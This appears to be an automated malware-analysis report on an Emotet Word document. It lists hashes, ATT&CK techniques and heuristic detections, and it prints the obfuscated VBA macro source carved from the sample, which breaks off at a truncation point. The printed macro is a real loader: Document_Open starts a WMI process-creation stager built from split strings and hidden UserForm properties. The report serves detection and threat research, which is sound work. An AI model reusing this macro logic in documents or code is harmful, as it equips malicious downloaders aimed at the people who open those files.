Emotet — Office (OLE) malware analysis

Static analysis result for SHA-256 843b812d3b7326a6…

MALICIOUS

Office (OLE)

226.3 KB Created: 2020-08-11 21:37:00 Authoring application: Microsoft Office Word First seen: 2020-09-07
MD5: 9786fa5c566902380169a5595d215e79 SHA-1: 21b33d185e9d01807aa6331ac8766908f9fe634d SHA-256: 843b812d3b7326a6483d4b0062efba730edd7b2b6880fd6f9126309d8d498ca5
262 Risk Score

Malware Insights

Emotet · confidence 95%

MITRE ATT&CK
T1059.005 Visual Basic T1566.001 Spearphishing Attachment

The sample contains VBA macros, including a Document_Open auto-execution macro and a hidden UserForm command stager. This combination is characteristic of Emotet malware, which typically uses such methods to download and execute further malicious payloads. The ClamAV detection also explicitly identifies it as Emotet.

Heuristics 7

  • ClamAV: Doc.Malware.Emotet-9271518-1 critical CLAMAV_DETECTION
    ClamAV detected this file as malware: Doc.Malware.Emotet-9271518-1
  • VBA macros detected medium 4 related findings OLE_VBA_MACROS
    Document contains VBA macro code
  • VBA UserForm hidden-property command stager critical OLE_VBA_USERFORM_HIDDEN_COMMAND_STAGER
    VBA auto-exec macro creates a COM object from a decoded variable and reconstructs command text through Split/Join and hidden UserForm properties such as ControlTipText, Tag, Pages, or HelpContextId. This is a high-confidence macro downloader/loader shape seen in the reviewed OLE set, but it is not an Office CVE exploit primitive.
  • Document_Open macro high OLE_VBA_DOCOPEN
    Document_Open macro
  • CreateObject call high OLE_VBA_CREATEOBJ
    CreateObject call
  • VBA p-code auto-exec with execution tokens high OLE_VBA_PCODE_AUTOEXEC_EXEC
    Compiled VBA/cache stream contains an auto-execution token together with shell/download/object-execution tokens. This catches p-code-only or source-extraction-failure macro documents where visible source is unavailable.
  • Embedded URL info EMBEDDED_URL
    One or more URLs were extracted from the document. The URL itself is not a detection — see the per-URL labels for which channel (macro, JS, link annotation, document body, ...) reached each URL.
    URL http://schemas.openxmlformats.org/drawingml/2006/main In document text (OLE body)

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
macros.bas vba-macro oletools.olevba.extract_macros (decoded VBA source) 4248 bytes
SHA-256: ceba25a430281d4e39e75f85bb64aaaf3331763b2831ad5995ff09c7af0dba6e
Preview script
First 1,000 lines of the extracted script
Attribute VB_Name = "ROKWRtnklpojknjipe"
Attribute VB_Base = "1Normal.ThisDocument"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = True
Attribute VB_Customizable = True
Private Sub _
Document_open()
YFNZSpyuxxwj.SPFDRewmqfdtragn
End Sub


Attribute VB_Name = "YFNZSpyuxxwj"
Attribute VB_Base = "0{8EE42643-A240-4B4E-95E5-5770BD989762}{303F45D1-DD39-49D4-A2C2-E33F208F9759}"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = False
Attribute VB_TemplateDerived = False
Attribute VB_Customizable = False
Function SPFDRewmqfdtragn()
Dim AFH As Integer
AFH = 3
Do While AFH < 3 + 3
AFH = AFH + 2: DoEvents
Loop
Dim SkQD As Currency
JFEPXfckbvoqhcjdl = YFNZSpyuxxwj.Zoom
Dim PFGLM As Integer
PFGLM = 4
Do While PFGLM < 4 + 4
PFGLM = PFGLM + 3: DoEvents
Loop
XSODMcafbyfdlpffs = ChrW(JFEPXfckbvoqhcjdl + ((30 + 60 + 30) / (4 + 4)))
Dim p1Èck3ÃQU As Date
SCWTPxdhdfurxycnk = "920jG&2(nbsjg uiyqGb2234%42bjh920jG&2(nbsjg uiyqGb2234%42bjhw920jG&2(nbsjg uiyqGb2234%42bjhi920jG&2(nbsjg uiyqGb2234%42bjhnm920jG&2(nbsjg uiyqGb2234%42bjh920jG&2(nbsjg uiyqGb2234%42bjhgm920jG&2(nbsjg uiyqGb2234%42bjht920jG&2(nbsjg uiyqGb2234%42bjh920jG&2(nbsjg uiyqGb2234%42bjh" + XSODMcafbyfdlpffs + "920jG&2(nbsjg uiyqGb2234%42bjh920jG&2(nbsjg uiyqGb2234%42bjh:920jG&2(nbsjg uiyqGb2234%42bjhw920jG&2(nbsjg uiyqGb2234%42bjhin920jG&2(nbsjg uiyqGb2234%42bjh920jG&2(nbsjg uiyqGb2234%42bjh3920jG&2(nbsjg uiyqGb2234%42bjh2920jG&2(nbsjg uiyqGb2234%42bjh_920jG&2(nbsjg uiyqGb2234%42bjh" + YFNZSpyuxxwj.DLWIJfrtgfpxmv + "920jG&2(nbsjg uiyqGb2234%42bjhro920jG&2(nbsjg uiyqGb2234%42bjh920jG&2(nbsjg uiyqGb2234%42bjhce920jG&2(nbsjg uiyqGb2234%42bjhs920jG&2(nbsjg uiyqGb2234%42bjhs920jG&2(nbsjg uiyqGb2234%42bjh"
Dim tqSQH3Í As Integer
tqSQH3Í = 3
Do While tqSQH3Í < 3 + 6
tqSQH3Í = tqSQH3Í + 6: DoEvents
Loop
GSEPEvmlhrge = GCUKKzyhqdiey(SCWTPxdhdfurxycnk)
Dim JtF1ÔVIsgfW As Variant
Set PDJFTupbrqqhmqz = CreateObject(GSEPEvmlhrge)
Dim r4ÖKHihX As Integer
r4ÖKHihX = 9
Do While r4ÖKHihX < 9 + 5
r4ÖKHihX = r4ÖKHihX + 7: DoEvents
Loop
PTVAYssttcoeepu = YFNZSpyuxxwj.IUUGRtfamonxtfhw.ControlTipText
Dim aKHZFGTowB As Currency
XEMWWgirqgck = m2m3b5 + (GSEPEvmlhrge + XSODMcafbyfdlpffs + YFNZSpyuxxwj.QUJCNutbanoo.ControlTipText + PTVAYssttcoeepu)
Dim fIspInaCW As String
NTJKAbvsbcnznmd = XEMWWgirqgck + YFNZSpyuxxwj.DLWIJfrtgfpxmv
Dim n8ÈRMOqNXp As Integer
n8ÈRMOqNXp = 4
Do While n8ÈRMOqNXp < 4 + 4
n8ÈRMOqNXp = n8ÈRMOqNXp + 1: DoEvents
Loop
Set EPPHIzlwmlpe = NKESSzligonk(NTJKAbvsbcnznmd)
Dim K0ÏyYuGKEqS As Currency
pppp1n1b = Array(ns123v4 + "jbjksgui qguw egq wuieg qbnmasm", PDJFTupbrqqhmqz. _
Create(PMPZEddrdnhwes, TJGPPtnzybzpuobqxf, EPPHIzlwmlpe), masb1 + ",jha ghauig qugq bbbs")
Dim LRhpI5ÓslYA As Double
End Function
Function PMPZEddrdnhwes()
n21bh3 = YFNZSpyuxxwj.DVIYAobujsnht.Pages(vbOK).Caption
PMPZEddrdnhwes = GCUKKzyhqdiey(n21bh3)
dgKyIcWY = 7
Do While dgKyIcWY < 7 + 1
dgKyIcWY = dgKyIcWY + 1: DoEvents
Loop
End Function
Function NKESSzligonk(QEYVWyfqhtlzmb)
Dim AFH As Integer
AFH = 3
Do While AFH < 3 + 3
AFH = AFH + 2: DoEvents
Loop
Dim SkQD As Currency
Dim PFGLM As Integer
PFGLM = 4
Do While PFGLM < 4 + 4
PFGLM = PFGLM + 3: DoEvents
Loop
Set NKESSzligonk = CreateObject(QEYVWyfqhtlzmb)
Dim WbU1Ïq As Integer
WbU1Ïq = 1
Do While WbU1Ïq < 1 + 4
WbU1Ïq = WbU1Ïq + 1: DoEvents
Loop
NKESSzligonk. _
showwindow = YOHPXanqyckkxg + ICRMMbosszbxboe
Dim UMbU As Object
End Function
Function GCUKKzyhqdiey(VTVXSrbbnfcc)
MKFFSqymowsoojjxu = VTVXSrbbnfcc
Dim ZvdC As Currency
SPFINjawdrjdwjg = Split _
(MKFFSqymowsoojjxu, "920jG&2(nbsjg uiyqGb2234%42bjh")
Dim Hih4å As Integer
Hih4å = 5
Do While Hih4å < 5 + 7
Hih4å = Hih4å + 6: DoEvents
Loop
TSGYIdrzfcifhmkgu = mmm2 + Join(SPFINjawdrjdwjg, msnj2)
Dim r4áAANisy As Integer
r4áAANisy = 4
Do While r4áAANisy < 4 + 5
r4áAANisy = r4áAANisy + 6: DoEvents
Loop
GCUKKzyhqdiey = T
... (truncated)

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